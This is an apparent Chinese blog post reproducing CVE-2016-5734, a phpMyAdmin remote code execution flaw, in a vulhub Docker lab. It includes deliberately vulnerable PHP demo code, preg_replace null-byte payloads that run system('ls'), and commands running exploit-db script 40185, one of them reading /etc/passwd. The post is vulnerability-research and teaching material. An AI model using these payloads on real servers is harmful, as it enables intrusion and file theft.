CVE-2016-5734 Phpmyadmin后台代码执行漏洞复现


漏洞描述

  CVE-2016-5734在exploit-db上也就是 phpMyAdmin 4.6.2 - Authenticated Remote Code Execution ,意即phpMyAdmin认证用户的远程代码执行,根据描述可知受影响的phpMyAdmin所有的 4.6.x 版本(直至 4.6.3),4.4.x 版本(直至 4.4.15.7),和 4.0.x 版本(直至 4.0.10.16)。 CVE的作者利用在php 5.4.7之前的版本中preg_replace函数对空字节的错误处理Bug,使注入的代码可远程执行.


影响版本

  • phpmyadmin 4.6.x 版本(直至 4.6.3)
  • phpmyadmin 4.4.x 版本(直至 4.4.15.7)
  • phpmyadmin 4.0.x 版本(直至 4.0.10.16)
  • php版本: 4.3.0 ~5.4.6

漏洞环境搭建

使用vulhub直接docker一键启动环境CVE-2018-12613环境

docker快速入门以及漏洞环境搭建

下载安装好vulhub后进入/vulhub/phpmyadmin/CVE-2016-5734目录,执行以下命令启动环境

sudo docker-compose up -d

安装成功后查看端口,发现端口被映射在我们8080端口上
在这里插入图片描述
访问虚拟机中localhost:8080,出现以下界面,表示安装成功
在这里插入图片描述

漏洞分析

  • 首先来说说preg_replace函数:
    preg_replace 函数执行一个正则表达式的搜索和替换。

  • 再来说说什么是preg_replace \e 的作用:
    如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

测试一下利用\e实现代码执行:

<?php
    highlight_file(__FILE__);
    $raw = $_GET['raw'];
    $replace = $_GET['replace'];
    $text = $_GET['text'];

    $text = preg_replace('/'.$raw.'/e', $replace, $text);
?>

poc:

?raw=a&replace=system("ls")&text=larry

在这里插入图片描述
如果我们的demo变成了如下的代码,还会有漏洞吗?

<?php
    highlight_file(__FILE__);
    $raw = $_GET['raw'];
    $replace = $_GET['replace'];
    $text = $_GET['text'];

    $text = preg_replace('/'.$raw.'/i', $replace, $text);
?>

其实还是可以绕过的,当php版本小于5.4.7时,向pattern中注入空字符产生截断,并传入e修饰符,依照能照成php代码执行。

poc:

?raw=a/e%00&replace=system(%22ls%22)&text=larry

在这里插入图片描述

关于phpmyadmin代码漏洞分析可以查看以下文章:
https://xz.aliyun.com/t/7836#toc-5


漏洞利用

利用条件:需要知道数据库账号密码

下载利用脚本:
https://www.exploit-db.com/exploits/40185

脚本利用方法:

-u 账号
-p 密码
-c 执行代码(php代码) 默认执行uname -a

python 40185.py -u root -p root http://192.168.154.3:8080

在这里插入图片描述

python 40185.py -u root -p root -c "system('cat /etc/passwd')" http://192.168.154.3:8080

在这里插入图片描述


漏洞加固

更新php或phpmyadmin

参考链接

https://larry.ngrep.me/2016/09/21/cve-2016-5734-analysis/
https://xz.aliyun.com/t/7836

已标记关键词 清除标记
相关推荐
©️2020 CSDN 皮肤主题: 1024 设计师:白松林 返回首页